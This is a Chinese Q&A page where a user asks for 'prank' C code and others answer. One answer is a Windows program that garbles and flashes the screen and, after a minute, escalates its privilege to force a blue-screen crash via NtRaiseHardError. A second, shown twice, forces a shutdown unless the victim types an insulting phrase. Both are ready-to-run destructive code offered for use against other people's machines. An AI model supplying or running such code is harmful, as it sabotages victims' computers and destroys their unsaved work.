求一个C语言整人代码!!!
2019-11-29
展开全部
先上代码
#include <Windows.h>
#include <time.h>
using namespace std;
int call;
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int IconWidth = GetSystemMetrics(SM_CXICON);
int IconHeight = GetSystemMetrics(SM_CYICON);
HDC hdc=GetWindowDC(GetDesktopWindow());
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int random(int upper_bound) {
if(upper_bound==0) {
return 0;
}
srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));
call++;
return rand() % upper_bound;
}
DWORD WINAPI FlashDesktop(LPVOID Param) {
while(true) {
BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);
Sleep(random(100));
}
return 0;
}
int GetWay() {
int r=random(3);
switch(r) {
case 0:
return SRCAND;
case 1:
return SRCINVERT;
case 2:
return SRCPAINT;
}
}
DWORD WINAPI ScreenXorOperation1(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth);
int RandyPixel = random(ScreenHeight - RandHeight);
int RandDestxPixel = random(ScreenWidth - RandWidth);
int RandDestyPixel = random(ScreenHeight - RandHeight);
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI ScreenXorOperation2(LPVOID Param) {
while(true) {
int RandWidth = random(ScreenWidth);
int RandHeight = random(ScreenHeight);
int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;
int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;
int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;
BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);
Sleep(random(100));
}
return 0;
}
DWORD WINAPI CallBsod1MinLater(LPVOID Param) {
Sleep(60000);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char temp0;
long unsigned int temp1;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1);
return 0;
}
DWORD WINAPI DrawErrors(LPVOID Param) {
while(true) {
int RandxPixel = random(ScreenWidth - IconWidth / 2);
int RandyPixel = random(ScreenHeight - IconHeight / 2);
DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));
Sleep(random(50));
}
return 0;
}
int main(void) {
CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL);
CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL);
CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL);
CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL);
CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL);
while(true);
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
效果图:
展开全部
# include<stdio.h># include<windows.h>
void main()
{
int i=0;
char s[30]="dsad";
system("title 逗你玩");
system("mode con cols=48 lines=25");
system("color");
system("color FC");
system("shutdown -f -s -t 250 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~""");
printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n");
printf("输入:");
while(strcmp(s,"我是猪"))
{
gets(s);
if(strcmp(s,"我是猪")==0)
{
system("shutdown -a");
}
system("cls");
i++;
switch(i%3)
{
case 0:
printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n");
break;
case 1:
printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n");
break;
case 2:
printf("猪猪猪,你上当啦~哈~~~我就说你是猪嘛~\n");
break;
}
printf("输入:");
}
system("cls");
printf("你很乖嘛~哈哈~~~\n");
Sleep(5000);
}
void main()
{
int i=0;
char s[30]="dsad";
system("title 逗你玩");
system("mode con cols=48 lines=25");
system("color");
system("color FC");
system("shutdown -f -s -t 250 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~""");
printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n");
printf("输入:");
while(strcmp(s,"我是猪"))
{
gets(s);
if(strcmp(s,"我是猪")==0)
{
system("shutdown -a");
}
system("cls");
i++;
switch(i%3)
{
case 0:
printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n");
break;
case 1:
printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n");
break;
case 2:
printf("猪猪猪,你上当啦~哈~~~我就说你是猪嘛~\n");
break;
}
printf("输入:");
}
system("cls");
printf("你很乖嘛~哈哈~~~\n");
Sleep(5000);
}
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
fishc.com上有,看到过,里面附带源代码的。
刚才找了一下,找到了,http://bbs.fishc.com/forum.php?mod=viewthread&tid=3187
你自己注册个帐号下载就好,别人写的,我不方便公开,望采纳
刚才找了一下,找到了,http://bbs.fishc.com/forum.php?mod=viewthread&tid=3187
你自己注册个帐号下载就好,别人写的,我不方便公开,望采纳
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询